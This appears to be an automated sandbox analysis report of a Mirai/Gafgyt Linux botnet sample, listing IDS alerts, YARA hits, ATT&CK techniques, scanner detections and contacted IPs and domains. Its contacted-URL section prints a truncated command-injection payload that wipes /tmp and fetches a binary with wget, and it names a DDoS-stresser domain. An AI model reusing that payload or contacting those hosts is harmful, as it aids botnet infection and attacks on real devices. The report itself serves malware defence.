Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: x86_64.elf, type: SAMPLE
Source: Yara match	File source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.elf PID: 6216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.elf PID: 6218, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label
x86_64.elf	76%	ReversingLabs	Linux.Trojan.Mirai
x86_64.elf	100%	Avira	EXP/ELF.Gafgyt.T
x86_64.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	x86_64.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	x86_64.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
196.211.163.155	unknown	South Africa	3741	ISZA	false
4.113.231.200	unknown	United States	3356	LEVEL3US	false
62.10.234.147	unknown	Italy	8612	TISCALI-IT	false
41.6.232.115	unknown	South Africa	29975	VODACOM-ZA	false
53.68.172.53	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
17.68.111.76	unknown	United States	714	APPLE-ENGINEERINGUS	false
130.99.153.145	unknown	United States	203	CENTURYLINK-LEGACY-LVLT-203US	false
104.32.81.112	unknown	United States	20001	TWC-20001-PACWESTUS	false
71.25.178.51	unknown	United States	7922	COMCAST-7922US	false
185.21.51.74	unknown	France	199327	BLUECARSHARINGFR	false
209.86.139.208	unknown	United States	7029	WINDSTREAMUS	false
13.64.92.50	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
219.67.240.159	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
126.141.198.239	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
172.115.197.150	unknown	United States	20001	TWC-20001-PACWESTUS	false
68.14.221.179	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
177.18.229.228	unknown	Brazil	18881	TELEFONICABRASILSABR	false
109.70.39.189	unknown	Spain	16371	ACENS_ASSpainHostinghousingandVPNservicesES	false
197.131.5.112	unknown	Morocco	6713	IAM-ASMA	false
41.51.170.21	unknown	South Africa	37168	CELL-CZA	false
154.113.68.242	unknown	Nigeria	37282	MAINONENG	false
41.110.52.206	unknown	Algeria	36947	ALGTEL-ASDZ	false
139.57.230.32	unknown	Canada	16475	BROCKUCA	false
99.69.27.197	unknown	United States	7018	ATT-INTERNET4US	false
139.86.12.194	unknown	Australia	45213	USQNET-AS-APUniversityofSouthernQueenslandAU	false
41.145.120.181	unknown	South Africa	5713	SAIX-NETZA	false
156.114.21.46	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
156.57.94.233	unknown	Canada	855	CANET-ASN-4CA	false
157.249.142.122	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
210.93.55.204	unknown	Korea Republic of	23668	KPU-AS-KRKOREAPOLYTECHNICUNIVERSITYKR	false
150.203.163.11	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
164.165.70.198	unknown	United States	54885	STATE-OF-IDAHO-SECONDARY-ASNUS	false
192.106.159.111	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
12.82.79.27	unknown	United States	7018	ATT-INTERNET4US	false
174.189.213.29	unknown	United States	7922	COMCAST-7922US	false
202.65.140.95	unknown	India	18229	CTRLS-AS-INCtrlSDatacentersLtdIN	false
197.28.210.168	unknown	Tunisia	37492	ORANGE-TN	false
95.221.2.218	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
195.180.96.254	unknown	Germany	4589	EASYNETEasynetGlobalServicesEU	false
81.25.253.97	unknown	Estonia	51504	TELSETEE	false
175.210.183.51	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
213.81.197.68	unknown	Slovakia (SLOVAK Republic)	6855	SK-TELEKOMSK	false
203.78.33.154	unknown	Hong Kong	17924	SMARTONE-MB-AS-APSmarToneMobileCommunicationsLtdHK	false
96.242.159.65	unknown	United States	701	UUNETUS	false
41.94.138.92	unknown	Mozambique	327700	MoRENetMZ	false
200.255.254.150	unknown	Brazil	4230	CLAROSABR	false
131.244.237.197	unknown	Australia	24436	UQ-AS-APUniversityofQueenslandAU	false
165.9.12.130	unknown	South Africa	5713	SAIX-NETZA	false
14.200.162.185	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
104.64.19.52	unknown	United States	16625	AKAMAI-ASUS	false
108.18.118.11	unknown	United States	701	UUNETUS	false
106.46.246.71	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
1.197.24.113	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
120.112.105.241	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
197.93.144.192	unknown	South Africa	10474	OPTINETZA	false
50.217.217.153	unknown	United States	7922	COMCAST-7922US	false
120.56.135.50	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
171.250.205.217	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
197.136.224.54	unknown	Kenya	36914	KENET-ASKE	false
156.72.152.98	unknown	United States	29975	VODACOM-ZA	false
142.93.19.254	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
20.25.221.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
42.161.44.222	unknown	China	4249	LILLY-ASUS	false
54.118.15.136	unknown	United States	16509	AMAZON-02US	false
197.187.29.146	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
41.190.177.146	unknown	unknown	36974	AFNET-ASCI	false
201.77.56.41	unknown	Brazil	28583	RuralWebTelecomunicacoesLtdaBR	false
156.8.126.107	unknown	South Africa	3741	ISZA	false
41.91.211.137	unknown	Egypt	37069	MOBINILEG	false
70.177.73.17	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
27.231.94.50	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
32.80.11.53	unknown	United States	2686	ATGS-MMD-ASUS	false
179.48.192.42	unknown	unknown	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
82.191.195.15	unknown	Italy	3269	ASN-IBSNAZIT	false
17.88.236.29	unknown	United States	714	APPLE-ENGINEERINGUS	false
168.198.248.31	unknown	Australia	264757	GALLOVICENTEAR	false
40.178.90.88	unknown	United States	4249	LILLY-ASUS	false
52.145.207.242	unknown	United States	393347	IFNCOUS	false
220.201.190.33	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
84.14.66.14	unknown	France	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
174.83.251.12	unknown	United States	20115	CHARTER-20115US	false
176.174.244.135	unknown	France	5410	BOUYGTEL-ISPFR	false
103.226.62.168	unknown	China	59273	KLN-AS-IDPTKOMUNIKASILINTASNUSAID	false
159.116.117.246	unknown	United States	53280	PROMEDICAUS	false
62.161.114.201	unknown	France	3215	FranceTelecom-OrangeFR	false
41.10.179.225	unknown	South Africa	29975	VODACOM-ZA	false
101.211.111.146	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
13.194.189.49	unknown	United States	7018	ATT-INTERNET4US	false
71.61.125.147	unknown	United States	7922	COMCAST-7922US	false
116.164.156.17	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
77.224.196.208	unknown	Spain	12430	VODAFONE_ESES	false
197.90.74.26	unknown	South Africa	10474	OPTINETZA	false
191.15.88.0	unknown	Brazil	26599	TELEFONICABRASILSABR	false
110.161.133.165	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
57.200.127.173	unknown	Belgium	2686	ATGS-MMD-ASUS	false
78.6.58.102	unknown	Italy	8968	BT-ITALIAIT	false
179.172.174.15	unknown	Brazil	26599	TELEFONICABRASILSABR	false
63.226.219.105	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
57.166.199.187	unknown	Belgium	2686	ATGS-MMD-ASUS	false
60.166.11.165	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
196.211.163.155	nklarm5.elf	Get hash	malicious	Unknown	Browse
126.141.198.239	na.elf	Get hash	malicious	Mirai	Browse
126.141.198.239	iHdfLpj7dF.elf	Get hash	malicious	Mirai	Browse
172.115.197.150	tHUFsPJKEs	Get hash	malicious	Mirai	Browse
	bxH7w08kAN	Get hash	malicious	Mirai	Browse
	Tsunami.arm	Get hash	malicious	Mirai	Browse
4.113.231.200	95.214.27.186-x86-2024-07-07T07_12_12.elf	Get hash	malicious	Mirai	Browse
62.10.234.147	CfLfQKoCG8	Get hash	malicious	Mirai	Browse
185.21.51.74	rXusqWlMQY.elf	Get hash	malicious	Mirai	Browse
	42dIZtC5eP	Get hash	malicious	Mirai	Browse
	Hilix.arm	Get hash	malicious	Mirai	Browse
41.6.232.115	n26s9HHKlX.elf	Get hash	malicious	Mirai, Moobot	Browse
	5yN9bgKBQh.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	Z3W7W8QFB8.elf	Get hash	malicious	Mirai, Moobot	Browse
219.67.240.159	gm4I5PGtrj.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
